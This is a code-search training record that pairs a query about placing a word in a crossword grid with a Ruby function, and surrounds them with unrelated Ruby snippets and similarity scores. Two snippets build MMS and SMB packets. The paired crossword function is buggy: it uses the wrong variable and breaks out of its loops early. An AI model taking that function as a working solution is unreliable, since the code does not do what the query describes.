"def make_tcpmsghdr(data)\r\n\t\tlen = data.length\r\n\t\t# The server doesn't like packets that are bigger...\r\n\t\traise RuntimeError, 'Length too big' if (len > 0x1000)\r\n\t\tlen /= 8\r\n\r\n\t\t# Pack the pieces in ...\r\n\t\tpkt = [\r\n\t\t\t1,0,0,0, # rep, ver, verMinor, pad\r\n\t\t\t0xb00bface, # session id (nice)\r\n\t\t\tdata.length + 16, # msg len\r\n\t\t\t0x20534d4d, # seal (\"MMS \")\r\n\t\t\tlen + 2, # chunkCount\r\n\t\t\t@pkts, 0, # seq, MBZ\r\n\t\t\trand(0xffffffff),rand(0xffffffff) # timeSent -- w/e\r\n\t\t].pack('CCCCVVVVvvVV')\r\n\r\n\t\t# Add the data\r\n\t\tpkt << data\r\n\r\n\t\t# Pad it to 8 bytes...\r\n\t\tleft = data.length % 8\r\n\t\tpkt << (\"\\x00\" * (8 - left)) if (left > 0)\r\n\r\n\t\tpkt\r\n\tend",
"def nad(data, *)\n build_string(data) { |key, value, *| nad_row(key, value) }\n end",
"def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)\n pkt['Payload'].v['ParamOffset'] = 0\n pkt['Payload'].v['DataOffset'] = 0\n\n # SMB header: 32 bytes\n # WordCount: 1 bytes\n # ByteCount: 2 bytes\n #offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2\n len = pkt.to_s.length - 4\n param = param.b\n data = data.b\n offset = len\n\n transData = ''\n if param != ''\n padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end\n pkt['Payload'].v['ParamOffset'] = offset + padLen\n transData = (\"\\x00\" * padLen) + param\n offset += padLen + param.length\n end\n\n if data != ''\n padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end\n pkt['Payload'].v['DataOffset'] = offset + padLen\n transData += (\"\\x00\" * padLen) + data\n end\n\n pkt['Payload'].v['Payload'] = transData\n pkt\n end",
"def format(match_data, length)\n match_data[1].gsub('_', '').downcase + (\"%0#{length}d\" % match_data[2].to_i)\n end",
"def to_s\n format(\"%16d bytes %-10s %-60s\", size.to_i, id, name)\n end",
"def pad_length\n offset = (lp_data.abs_offset + lp_data.to_binary_s.length) % 4\n (4 - offset) % 4\n end",
"def align(addr, width)\n\treturn addr + pad_length(addr, width)\nend",
"def padding; end",
"def padding; end",
"def format_data(data)\n case format\n when :json\n JSON.pretty_generate(data)\n else # default to YAML\n data.to_yaml.sub(/\\A\\-\\-\\-\\n/, '')\n end\n end",
"def write(data)\n partial = @stream_cipher.update(data.to_s)\n @ios.write(partial) if partial.length > 0\n data.length\n end",
"def peek_format\n\t\t\tpeek_data = [\"SNAP \"] # I is taken by IP\n\t\t\tpeek_data << \"%-5d\" % self.to_s.size\n\t\t\tpeek_data << \"%04x\" % self.snap_oui.to_i\n\t\t\ttype = case self.snap_type.to_i\n\t\t\t\t\t\t when 8192\n\t\t\t\t\t\t\t \"CDP\"\n\t\t\t\t\t\t else\n\t\t\t\t\t\t\t \"%04x\" % [self.snap_type]\n\t\t\t\t\t\t end\n\t\t\tpeek_data << \"%-21s\" % \"#{type}\"\n\t\t\tpeek_data.join\n\t\tend",
"def to_s\n @data\n end",
"def padding; 3; end",
"def puts_s(data)\r\n data = data.dup\r\n output = []\r\n until (str = data.slice!(0, 2)) == ''\r\n output << str.hex\r\n end\r\n puts_bytes(*output)\r\n true\r\n end",
"def send_data_packet( data )\n # overhead is ( byte.length + id.length + strlen.length ) = 9\n data, data_to_return = split_data_for_packet( data.to_s, 9 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_DATA\n msg.write_long @remote_id\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end",
"def pad_string(s)\n # s = s[0..80]\n b = s.bytes\n b << 0\n b << 0 while b.size % 4 > 0\n b.pack(\"c*\")\n end",
"def write_data(data)\n\n BinaryAccessor.write(calculate_length(data.length), @length_bit_offset, @length_bit_size, :UINT,\n data, @length_endianness, :ERROR)\n\n return data\n end",
"def to_s\n stringio = StringIO.new\n\n # Set the column widths\n if @data\n @data.each do |row|\n next if row.length != @columns.length\n\n @columns.each_with_index do |column, i|\n data_string = column.data_to_s.call(row[i])\n column.width = data_string.length if data_string.length > column.width\n end\n end\n else\n @columns.each { |column| column.width = column.label.length }\n end\n\n # Print the column headers\n stringio.puts(@columns.collect do |column|\n padding = column.padding || \" \"\n padding + column.label.center(column.width) + padding\n end.join(\"|\"))\n\n total_width = stringio.string.length - 1\n\n # Print the bar below the column header\n stringio.puts(@columns.collect do |column|\n padding = column.padding || \" \"\n \"-\" * (column.width + 2 * padding.length)\n end.join(\"+\"))\n\n # If we have rows, print each one, otherwise print \"No rows\"\n if @data\n @data.each do |row|\n # Skip rows that have the wrong number of columns\n next if row.length != @columns.length\n\n # Generate the row of data. These machinations with the index variable are because collect_with_index doesn't exist\n # and Ruby 1.8.x doesn't support each_with_index.collect.\n i = 0\n stringio.puts(row.collect do |data|\n padded_aligned_data = @columns[i].padded_aligned_data(data)\n i += 1\n padded_aligned_data\n end.join(\"|\"))\n end\n else\n stringio.puts(\"No rows\".center(total_width))\n end\n\n stringio.string\n end",
"def to_s\n if value < 0\n sprintf(\"%0*.*o\", size + 3, size + 3, value).slice(3..-1)\n else\n sprintf(\"%0*.*o\", size, size, value)\n end\n end",
"def to_s\n [0xFFFFFFFF, @content_data.string].pack('Va*')\n end",
"def to_s\n pad_field :options\n recalc_block_len\n to_a.map(&:to_s).join + @packets.map(&:to_s).join\n end",
"def padding(num)\n num >= 10? num.to_s : \"0\" + num.to_s\n end",
"def formatted_message\n case @text_align\n when :center\n align_center\n when :left\n @message\n when :right\n align_right\n end\n end",
"def to_s\n packet = build_packet\n @packet_size = packet.length\n return [@packet_size].pack(\"V\") + packet\n end",
"def to_s\n @packet_data\n end",
"def standard_padding; 0; end",
"def to_s\n \n # Determine the column width\n col_width = data.last.last.to_s.length\n \n # Determine the table width\n table_width = ( col_width + 1 ) * data.length + 1\n \n # Convert 2D Array to String\n data.map { |row| '|' + row.map { |val| val.to_s.ljust( col_width ) }.join('|') + '|' }.join(\"\\n#{ '-' * table_width }\\n\")\n \n end",
"def pad number\n \t\tif number.to_s.length >= 2\n \t\t\treturn number.to_s\n \t\telse\n \t\t\treturn \"0\" + number.to_s\n \t\tend\n \tend",
"def to_s\n to_data.map(&:to_s).join(\"\\n\")\n end",
"def to_s\n data\n end",
"def data\n @data ||= \"O\" * size\n end",
"def write(data)\n generic_write(data, 1) { |data| Krypt::Hex.encode(data) }\n end",
"def write(data)\n return 0 unless data.is_a?(String)\n\n size = data.bytesize\n return 0 if size == 0\n\n # TBD verify this overflow calc\n raise(PageHandlerError, \"data size=#{data.bytesize} is larger than usable page size=#{@page_usable_size} (#{@page_size} - #{2 * INT_BYTES})\") if size > @page_usable_size\n\n offset = @meta.head_page_offset\n if size > (@page_usable_size - offset)\n # data size is larger than usable data size left, move head to next page\n @meta.head_page_index += 1\n @meta.head_page_offset = offset = 0\n end\n buffer = mmap_buffer(@meta.head_page_index)\n buffer.position = offset\n buffer.put_int(size)\n buffer.put_bytes(data)\n\n # write a trailing 0 after the data. on next push, this will be overwritten with next data size\n # since offset will be set on this trailing zero, otherwise if we changed page, trailing zero\n # will be set.\n buffer.put_int(0)\n @meta.head_page_offset = offset + size + INT_BYTES\n @meta.size += 1\n\n size\n end",
"def data_encoding\n encoded_characters.join(spacing_encoding)\n end",
"def to_s\n out = ''\n @data.each_pair do |key, value|\n out += \"#{key}\\t#{value}\\n\"\n end\n out\n end",
"def to_s\n if @reverse_byte\n @field.bytes.collect { |ea| (\"%08b\" % ea).reverse }.join[0, @size]\n else\n @field.bytes.collect { |ea| (\"%08b\" % ea) }.join[0, @size]\n end\n end",
"def pad(s)\n s.to_s.rjust(3,\"0\")\nend",
"def convert_to_string\n @data.join(\"\\n\")\n end"
] |
[
"0.7239746",
"0.63989556",
"0.63953304",
"0.62947625",
"0.6128271",
"0.5971051",
"0.5968507",
"0.5967303",
"0.5940357",
"0.59368074",
"0.59193754",
"0.5870094",
"0.58287865",
"0.5814228",
"0.5760539",
"0.5665646",
"0.565248",
"0.5640018",
"0.55885226",
"0.55612975",
"0.5507381",
"0.5454156",
"0.543505",
"0.5408513",
"0.5398454",
"0.5380064",
"0.5378288",
"0.53507596",
"0.5334755",
"0.5314882",
"0.53089195",
"0.5265402",
"0.52571225",
"0.52478343",
"0.5221664",
"0.52042854",
"0.5186735",
"0.5170806",
"0.51608795",
"0.51504886",
"0.5143694",
"0.51289594",
"0.512476",
"0.5122756",
"0.51089555",
"0.5105374",
"0.5104671",
"0.5100971",
"0.50961274",
"0.5092333",
"0.5089132",
"0.5082744",
"0.50807023",
"0.50669307",
"0.50503504",
"0.50373363",
"0.5034479",
"0.50337845",
"0.50311387",
"0.5030318",
"0.50189674",
"0.50113726",
"0.5010783",
"0.50081193",
"0.5002389",
"0.4995631",
"0.49936098",
"0.49902174",
"0.49859446",
"0.49859446",
"0.4982204",
"0.498011",
"0.49744758",
"0.49722645",
"0.49717683",
"0.4968063",
"0.49624562",
"0.49611193",
"0.49537882",
"0.49494126",
"0.4936204",
"0.49282804",
"0.49262097",
"0.49257845",
"0.49166408",
"0.49119303",
"0.49006373",
"0.48994088",
"0.48860273",
"0.4885862",
"0.4883943",
"0.48718452",
"0.48701024",
"0.48698816",
"0.48692465",
"0.4841115",
"0.48364282",
"0.4835858",
"0.4833928",
"0.4830418"
] |
0.8301922
|
0
|
S _ _ _ ... row, col = 1 _ _ _ _ Strategy: 1. Solve this for 1 row only. Solve for horizontally only. 2. Transpose the matrix. Then we can use same code on transposed matrix to solve it vertically. Solve for 1 row: Test cases: Word = "test" OK. All same length as word 1. _ _ _ _ All blanks. Left and right of word must be either "" or border. 2. T _ N _ >=1 of characters are in word Not OK: 1. _ _ T E S T _ _ Can't start word from middle 2. T _ _ S Can't have 1 or more letters not matching letters in word 3. Can't have "" in word 4. T E S T _ W
|
def crossword(arr, word)
earliest_col = -1
ans = []
arr.each_with_index do |row, i|
earliest_col = solve_horiz(row, word)
ans = [i, earliest_col]
break
end
tarr = transpose arr
tarr.each_with_index do |col, i|
earliest_row = solve_horiz(row, word)
if earliest_row <= ans[0] && i <= ans[1]
ans = [earliest_row, i]
end
break
end
ans
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def word_square?(arr)\n # first brute force, using i and j \n i = 0 \n while i < arr.length \n j = 0 \n while j < arr.length \n # next if i >= j will overflow as j never increments\n if i >= j \n j+= 1 \n next \n end \n return false unless arr[i][j] == arr[j][i]\n j += 1 \n end \n i+=1 \n end \n true\n # now think how i can optimize it when i == j \n # it's comparing itself against itself, so we don't need to check \n # also we checked each pair twice , [0][2] first and [2][0]\n # the first round since we increment inner loop first, second number\n # is bigger, so we don't need to check if first number is bigger than secodn number \n # means it's the same pair \nend",
"def make_word_from_board?(letters, word, i, j)\n matched_dices = []\n unmatched_dices = []\n letter_used = letters.map {|column| column.map { false }}\n letter_used[i][j] = true\n matched_dices.push([i, j])\n word_pos = 1\n while word_pos < word.size\n letter_matched = false\n # move a step next to the current letter to check if we can form the word\n (i-1..i+1).each do |m|\n # ignore if our matching window is outside the dices\n if m == -1 || m == letters.size\n next\n end\n (j-1..j+1).each do |n|\n # ignore if our matching window is outside the dices\n if n == -1 || n == letters[0].size\n next\n end\n # ignore for the central dice\n if m == i && n == j\n next\n end\n # ignore if letter at the position has already been used\n if letter_used[m][n]\n next\n end\n # skip if the dice is already unmatched\n if unmatched_dices.find{|dice| dice[0] == m && dice[1] == n}\n next\n end\n if letters[m][n] == word[word_pos]\n i = m\n j = n\n letter_matched = true\n letter_used[i][j] = true\n matched_dices.push([i, j])\n break\n end\n end\n if letter_matched\n word_pos += 1\n break\n end\n end\n unless letter_matched\n # return false when only a single letter is matching\n if word_pos == 1\n return false\n end\n word_pos -= 1\n # get the last matched dice\n i, j = matched_dices.pop\n letter_used[i][j] = false\n unmatched_dices.push([i, j])\n end\n end\n true\n end",
"def find_matrix(input, size, result)\n datasize = input.lines.length\n 0.upto(datasize - size) do |top|\n testline = input.lines[top].chomp\n w_subst = result[:W] ? [] : testline.scan(/W{#{size}}/)\n n_subst = result[:N] ? [] : testline.scan(/N{#{size}}/)\n next if w_subst.length.zero? && n_subst.length.zero?\n 0.upto(datasize - size) do |left|\n testcol = input.lines[top..(top+size-1)].map{|line| line.chomp.chars[left] }.join\n next if testcol != 'W'*size && testcol != 'N'*size\n beta = mat(input, [left, top], [left + size - 1, top + size - 1]).flatten.join\n w_bool = beta == 'W'*size*size\n n_bool = beta == 'N'*size*size\n return [w_bool, n_bool] if w_bool || n_bool\n end\n end\n [false, false]\nend",
"def subsequence\n setup_basecase\n\n (1...@matrix.length).each do |row|\n (1...@matrix[0].length).each do |col|\n substring_one = @str_one[0...row]\n substring_two = @str_two[0...col]\n if substring_one[-1] == substring_two[-1]\n @matrix[row][col] = @matrix[row - 1][col - 1] + substring_one[-1]\n else\n if @matrix[row - 1][col].length > @matrix[row][col - 1].length\n @matrix[row][col] = @matrix[row - 1][col]\n else\n @matrix[row][col] = @matrix[row][col - 1]\n end\n end\n end\n end\n\n @matrix[-1][-1]\n end",
"def words_typing(sentence, rows, cols)\n rows_remaining = rows\n cols_remaining = cols\n full_rotations = 0\n i = 0\n \n until rows_remaining == 0\n if cols_remaining == cols\n cols_remaining -= sentence[i % sentence.length].length\n i += 1\n full_rotations += 1 if (i % sentence.length) == 0\n elsif cols_remaining < cols && cols_remaining >= sentence[i % sentence.length].length + 1\n cols_remaining -= sentence[i % sentence.length].length + 1\n i += 1\n full_rotations += 1 if (i % sentence.length) == 0\n else\n cols_remaining = 0\n end\n \n if cols_remaining == 0\n rows_remaining -= 1\n cols_remaining = cols\n end\n end\n \n full_rotations\nend",
"def solution(s)\n grid = s.split(/\\n/).map { |row| row.split(/\\s/).map(&:to_i) }\n \n search = ->(table) do\n table.map do |row|\n row.each_cons(4).map do |seg|\n seg.reduce(:*)\n end.max\n end.max\n end\n\n squeeze = ->(table, opts={inverse: false}) do\n table.map.with_index do |row,depth|\n row.rotate(opts[:inverse] ? -depth : depth)\n end.transpose\n end\n\n [\n search[grid], # horizontal\n search[grid.transpose], # vertical\n search[squeeze[grid]], # down_diagonals\n search[squeeze[grid, inverse: true]] # up_diagonals\n ].max\nend",
"def valid_word_for_board?(letters, word)\n letters.each_with_index do |row, i|\n row.each_with_index do |letter, j|\n if word[0] == letter\n if make_word_from_board?(letters, word, i, j)\n return true\n end\n end\n end\n end\n false\n end",
"def words_typing(sentence, rows, cols)\n i = 0\n remaining_cols = cols\n res = \"\"\n until rows == 0\n word_length = sentence[i % sentence.length].length\n if word_length <= remaining_cols\n remaining_cols == word_length ? res += sentence[i % sentence.length] + \"|\" : res += sentence[i % sentence.length] + \"-\"\n i += 1 #next word\n remaining_cols -= (word_length + 1)\n else\n rows -= 1\n remaining_cols = cols\n end\n p [\"res\", res]\n end\n\n i / sentence.length\nend",
"def find_word_in_matrix (matrix, word)\n\t$find_next_found = false\n\t\n\tmatrix.each_index do |row_index|\t\t\n\t\tmatrix[row_index].each_index do |col_index|\n\t\t\tif matrix[row_index][col_index] == word[0]\t\t\t\t\t\t\t\n\t\t\t\tfind_next(matrix, word, 0, row_index, col_index)\n\t\t\tend\n\t\tend\n\tend\n\n\t$find_next_found\nend",
"def solve(*words)\n words = words.collect { |word| word.upcase_trim }\n\n #\n # Make the various transformations, checking for matches along the\n # way.\n #\n normalize ; replicate_match(words) # match L->R\n flip_horizontal ; replicate_match(words) # match R->L\n diagonalize ; replicate_match(words) # match TL->BR\n flip_horizontal ; replicate_match(words) # match BR->TL\n undiagonalize(true) ; replicate_match(words) # match T->B\n flip_horizontal ; replicate_match(words) # match B->T\n flip_vertical ; flip_horizontal\n diagonalize ; replicate_match(words) # match BL->TR\n flip_horizontal ; replicate_match(words) # match TR->BL\n undiagonalize(false)\n\n #\n # And return the solution.\n #\n @sltn_lines\n end",
"def solve(words)\n x = 0\n while x < words.max.length\n equal = words.all? do |word|\n word[0..x] == words[0][0..x]\n end\n if equal == false\n return words[0][0...x]\n end\n x += 1\n end\nend",
"def solver (seed_char, blanks_words_sizes, matrix)\n\t# Set numerical target\n\ttarget = magic_num(seed_char)\t\n\t# Find magic number sum buckets\n\tskynet(target, blanks_words_sizes, blanks_words_sizes.length - 1, 0, [])\n\t# Alphabetical sort input matrix\n\tsorted_seed_char = seed_char.chars.sort.join\t\n\n\t# Find unique sets from skynet solutions\n\t$answer[:trace].each do |arrOarr|\n\t\tarrOarr.sort!\n\tend \n\n\t$answer[:trace].uniq!\t\n\t\n\t# Finds match for complete set of words from skynet solutions\n\t$answer[:trace].each do |answer_arr_el|\t\t\t\t\n\t\tunordered_match(sorted_seed_char, matrix, answer_arr_el, answer_arr_el.length - 1, \"\", [])\n\t\t# Can be ignored\n\t\t$ops += $seed[answer_arr_el[0][0]][:num_groups][answer_arr_el[0][1]].length *\n\t\t\t$seed[answer_arr_el[1][0]][:num_groups][answer_arr_el[1][1]].length *\n\t\t\t$seed[answer_arr_el[1][0]][:num_groups][answer_arr_el[1][1]].length *\n\t\t\t$seed[answer_arr_el[1][0]][:num_groups][answer_arr_el[1][1]].length\t\t\n\tend\n\t\n\treturn $answer[:words]\nend",
"def solve_two_vs_three_vs_five\n return if @arr[1].nil? || @arr[6].nil?\n\n #p \"1,6: #{@arr[1]},#{@arr[6]}\"\n\n @words.filter{|x| x.length == 5 && @hash[x].nil?}.each{|w|\n if @arr[1].chars.all?{|c| w.chars.include?(c)}\n solved(3, w)\n elsif w.chars.all?{|c2| @arr[6].chars.include?(c2)}\n solved(5, w)\n else\n solved(2, w)\n end\n }\n end",
"def triangular_word?(str)\nend",
"def all_valid \n h = @horizontal.reject { |(x,y),r| x==r }\n v = @vertical.reject { |(x,y),r| y==r }\n\n words = h.map { |position,right|\n x,y = position\n (x..right).map { |x| @board.tile_at([x,y]) }\n }\n words.concat v.map {|position, bottom|\n x,y = position\n (y..bottom).map { |y| @board.tile_at([x,y]) }\n }\n\n FFI::Hunspell.dict do |dict|\n for word in words do\n word = (word.map {|tile| tile.letter}).join.downcase\n return false unless dict.check? word\n end\n end\n return true\n end",
"def min_distance(word1, word2)\n dp = Array.new(word1.size + 1) { Array.new(word2.size + 1) }\n\n # increment values in 1st row and col\n (0...dp.size).each do |i|\n dp[i][0] = i\n end\n (0...dp[0].size).each do |j|\n dp[0][j] = j\n end\n\n (1...dp.size).each do |i|\n (1...dp[0].size).each do |j|\n dp[i][j] = if word1[i - 1] == word2[j - 1]\n # if chars are same, value will be from diagonal upward\n dp[i - 1][j - 1]\n else\n [\n dp[i - 1][j - 1],\n dp[i][j - 1],\n dp[i - 1][j]\n ].min + 1\n end\n end\n end\n dp[-1][-1]\nend",
"def analogy(a, b, c, word_to_id, id_to_word, word_matrix, top: 5, answer: nil)\n all_found = true\n [a, b, c].each do |word|\n unless word_to_id.include?(word)\n puts(\"#{word} not found.\")\n all_found = false\n end\n end\n\n return unless all_found\n\n puts(\"\\n[analogy] #{a}:#{b} = #{c}:?\")\n a_vec = word_matrix[word_to_id[a], true]\n b_vec = word_matrix[word_to_id[b], true]\n c_vec = word_matrix[word_to_id[c], true]\n query_vec = b_vec - a_vec + c_vec\n query_vec = normalize(query_vec)\n\n similarity = word_matrix.dot(query_vec).to_a\n\n if answer\n puts(\"===>#{answer}:#{word_matrix[word_to_id[answer]].dot(query_vec)}\")\n end\n\n count = 0\n\n sorted_indexes = similarity.map.with_index.sort.map(&:last).reverse\n\n sorted_indexes.each do |i|\n # TODO: Deal with NaNs\n next if [a, b, c].include?(id_to_word[i])\n\n puts(\" #{id_to_word[i]}: #{similarity[i]}\")\n\n count += 1\n break if count >= top\n end\nend",
"def detect_st( str, matrix )\n matrix.map do |combination|\n detect_single str, combination\n end\n end",
"def squarocol?(array)\n outer_iterator = 0\n while outer_iterator < array.length\n first_ele = array[outer_iterator].first\n return true if array[outer_iterator].all? { |ele| ele == first_ele }\n outer_iterator += 1\n end\n\n transposed = []\n\n outer_iterator = 0\n while outer_iterator < array.length\n inner_iterator = 0\n row = []\n while inner_iterator < array.length\n row << array[inner_iterator][outer_iterator]\n inner_iterator += 1\n end\n transposed << row\n outer_iterator += 1\n end\n \n\n transposed.each do |ele|\n first = ele.first\n return true if ele.all? { |ele| ele == first}\n end\n\n false\nend",
"def b_check sym \n\t\t#check rows\n\t\ti=0\n\t\twhile i<@arr.length\n\t\t\tgame_finished=true\n\t\t\tj=0\n\t\t\twhile j<@arr.length\n\t\t\t\tif @arr[i][j]!=sym\n\t\t\t\t\tgame_finished=false\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tj=j+1\n\t\t\tend\n\t\t\tif game_finished\n\t\t\t\treturn game_finished\n\t\t\tend\n\t\t\ti=i+1\n\t\tend\n\t\t# check colmns\n\t\ti=0\n\t\twhile i<@arr.length\n\t\t\tgame_finished=true\n\t\t\tj=0\n\t\t\twhile j<@arr.length\n\t\t\t\tif @arr[j][i]!=sym\n\t\t\t\t\tgame_finished=false\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tj=j+1\n\t\t\tend\n\t\t\tif game_finished\n\t\t\t\treturn game_finished\n\t\t\tend\n\t\t\ti=i+1\n\t\tend\n\t\t#check diagonals\n\t\ti=0\n\t\tgame_finished=true\n\t\tj=@arr.length-1\n\t\twhile i<@arr.length\n\t\t\tif @arr[i][j]!=sym\n\t\t\t\tgame_finished=false\n\t\t\t\tbreak\n\t\t\tend\n\t\t\ti=i+1\n\t\t\tj=j-1\n\t\tend\n\t\tif game_finished\n\t\t\treturn game_finished\n\t\tend\n\n\t\ti=0\n\t\tgame_finished=true\n\t\tj=0\n\t\twhile i<@arr.length\n\t\t\tif @arr[i][j]!=sym\n\t\t\t\tgame_finished=false\n\t\t\t\tbreak\n\t\t\tend\n\t\t\ti=i+1\n\t\t\tj=j+1\n\t\tend\n\t\tif game_finished\n\t\t\treturn game_finished\n\t\tend\n\t\treturn false\n\tend",
"def attempt_solution(row, col)\n end",
"def verify_word_on_board(w, hash_table)\n w = w.upcase # Since the letters on board is in capital letter\n\n p hash_table\n i = 0\n searched_index = {} # Hash table to keep track what has been searched\n (0...w.length).each { |i| searched_index.store(i, -1)} # Initiate values to indicate that no letters have been searched\n\n while i >= 0 && i < w.length\n # puts \"\\nStart of while loop, i = #{i}, searching letter #{w[i]}...\" ###\n move = false\n\n unless hash_table[w[i]].empty?\n # print \"Letter #{w[i]} exist at #{hash_table[w[i]]}\\n\" ###\n hash_table[w[i]].each_with_index do | value , index |\n # puts \"Scanning through #{w[i]} at position #{value}\" ###\n \n # This unmark the position that was used previously during backtracking.\n if value + @total_letters < 0\n # puts \"Position #{hash_table[w[i]][index]} of #{w[i]} is restored...\" ###\n hash_table[w[i]][index] += (@total_letters * 2)\n # puts \"Position of #{w[i]} is now #{hash_table[w[i]][index]}.\" ###\n end\n\n if index <= searched_index[i] # This skips letters that are already searched\n # puts \"#{w[i]} at #{hash_table[w[i]][index]} is already searched.\" ###\n next\n end\n\n if value >= 0\n \n # The position is subtrated by no of total letters to indicate that it has been searched.\n # No of total letters is used so that duplicate of hash table is not required.\n \n if i == 0 || is_adjacent(hash_table[w[i]][index],(@total_letters + hash_table[w[i-1]][searched_index[i-1]]))\n hash_table[w[i]][index] -= @total_letters\n # puts \"#{value} has been subracted by @total_letters to #{hash_table[w[i]][index]}\" ###\n \n \n searched_index[i] = index\n # puts \"Moving to next letter, searched_index[#{i}] now has been updated to #{searched_index[i]}\" ###\n move = true\n i += 1\n break\n end\n\n end\n end\n\n end\n\n # i -= 1 if move == false\n if move == false\n if i > 0\n # puts \"Previously used #{w[i-1]} position of #{hash_table[w[i-1]][searched_index[i-1]]} is being marked for restoration.\" ###\n \n hash_table[w[i-1]][searched_index[i-1]] -= @total_letters # To mark position to be restored to original value as it will not be used anymore\n # puts \"Current position of #{w[i-1]} is #{hash_table[w[i-1]][searched_index[i-1]]}.\" ###\n searched_index[i] = -1\n end\n\n\n # puts \"Letter #{w[i]} is not available/not adjacent and i will be subtracted\" ###\n i -= 1\n end\n\n end\n\n # Restore back all coordinates for next word\n\n\n restore_hash_table(hash_table)\n\n # Check whether word exists.\n if i >= 0 \n puts \"#{w} exists!\"\n return true\n else\n puts \"#{w} is not available.\"\n return false\n end\n \n end",
"def solution \n row_search \n columns_search \n diagonal_search\n end",
"def VowelSquare(strArr)\n vowels = %w(a e i o u)\n matrix = strArr.map(&:chars)\n \n matrix.each_with_index do |sub_arr, y|\n next if y >= matrix.size - 1\n sub_arr.each_with_index do |el, x|\n next if x >= matrix[0].size - 1\n combined_value = [matrix[y][x]] + [matrix[y + 1][x]] +\n [matrix[y][x + 1]] + [matrix[y + 1][x + 1]]\n return [y, x].join('-') if (combined_value - vowels).empty? \n end\n end\n 'not found'\nend",
"def triangular_word?(str)\n alpha = ('a'..'z').to_a\n sum = 0\n\n str.each_char do |char|\n sum += alpha.index(char) + 1\n end\n\n #tri_num = 1\n i = 1\n\n while i * (i + 1) / 2 < sum\n i += 1\n end\n\n i * (i + 1) / 2 == sum\n\nend",
"def triangular_word?(word)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\n sum = 0\n word.each_char do |char|\n sum += alphabet.index(char) + 1\n end\n\n i = 1\n while (i * (i + 1)) / 2 <= sum\n return true if (i * (i + 1)) / 2 == sum\n i += 1\n end\n \n false\nend",
"def check_valid (size)\n #checks length of string correct according to n x m\n if @arg.length != size\n puts \"String length incorrect\"\n end\n #checks if outer wall is all 1's\n string=''\n @col_nums.times do\n string+='1'\n end\n if !@arg[0..@col_nums-1].eql? string\n puts \"Invalid maze (outer wall)\"\n end\n (0..@row_nums*@col_nums-1).step(@col_nums) do |i|\n if @arg[i] != \"1\" || @arg[i-1] != \"1\"\n puts \"Invalid maze (outer wall)\"\n break\n end\n end\n #cell centers should be 0's\n #takes values of cell centers and uses coordinates for make_cell method\n (@col_nums..@row_nums*@col_nums-1).step(@col_nums*2) do |i|\n (1..@col_nums-2).step(2) do |j|\n if @arg[i+j]!=\"0\"\n puts \"Invalid maze (cell center)\"\n break\n else\n make_cell(i+j)\n end\n end\n end\n #cell corners should be 1's\n (0..@row_nums*@col_nums-1).step(@col_nums*2) do |i|\n (0..@col_nums-2).step(2) do |j|\n if @arg[i+j]!=\"1\"\n puts \"Invalid maze (cell corner)\"\n break\n end\n end\n end\n end",
"def print_verification_of_position_info\r\n #Test to see if characters are correct\r\n puts \"characters from position matrix----------start\"\r\n @list_of_word_rows.each do |word_row|\r\n word_row.position_list.each do |position|\r\n print position.character\r\n end\r\n puts \"\"\r\n end\r\n puts \"words from position matrix----------end\"\r\n puts \"\"\r\n\r\n #Test to see if word starts and ends are correct\r\n puts \"start and end of words from position matrix----------start\"\r\n @list_of_word_rows.each do |word_row|\r\n word_row.position_list.each do |position|\r\n if position.start_of_word\r\n print \"^\"\r\n print position.character\r\n print position.word_number\r\n end\r\n #If the character is a single letter word, then the char is both the start and end of the word.\r\n #Don't reprint the character, which has already been printed\r\n if position.start_of_word && position.end_of_word\r\n print \"*\"\r\n #If the character is at the end of a word, print the character\r\n elsif position.end_of_word\r\n print position.character\r\n print position.word_number\r\n print \"*\"\r\n end\r\n if !position.start_of_word && !position.end_of_word\r\n print position.character\r\n if position.character != \" \"\r\n print position.word_number\r\n end\r\n end\r\n end\r\n puts \"\"\r\n end\r\n puts \"start and end of words from position matrix----------end\"\r\n\r\n #Test to see if word numbers are correct\r\n puts \"word numbers from position matrix----------start\"\r\n @list_of_word_rows.each do |word_row|\r\n word_row.position_list.each do |position|\r\n print position.word_number.to_s + \" \"\r\n end\r\n puts \"\"\r\n end\r\n puts \"word numbers from position matrix----------end\"\r\n\r\n\r\n #Test to see if line starts and ends are correct\r\n puts \"\"\r\n puts \"start and end of lines from position matrix----------start\"\r\n @list_of_word_rows.each do |word_row|\r\n word_row.position_list.each do |position|\r\n if position.start_of_line\r\n print \"-\"\r\n elsif position.end_of_line\r\n print \"+\"\r\n else\r\n print position.character\r\n end\r\n end\r\n puts \"\"\r\n end\r\n puts \"start and end of lines from position matrix----------end\"\r\n end",
"def squarocol?(matrix)\n d = matrix.length\n d.times do |i|\n return true if matrix[i].all?{ |el| el == matrix[i][0]}\n end\n\n\n \n d.times do |c|\n flag = 0\n n = matrix[0][c]\n d.times do |r|\n if !(matrix[r][c] == n)\n flag = 1\n break\n end\n end\n return true if flag == 0\n end\n false\nend",
"def word_mesh(arr)\n \"\".tap do |m|\n arr.each_cons(2) do |a,b|\n until a.end_with?(b)\n b = b.chop\n return \"failed to mesh\" if b.empty?\n end\n m << b\n end\n end\nend",
"def triangular_word?(str)\n alpha = (\"a\"..\"z\").to_a\n\n val = str.split(\"\").sum { |char| alpha.find_index(char) + 1 }\n \n (0...val).any? { |i| (i * (i + 1)) / 2 == val }\nend",
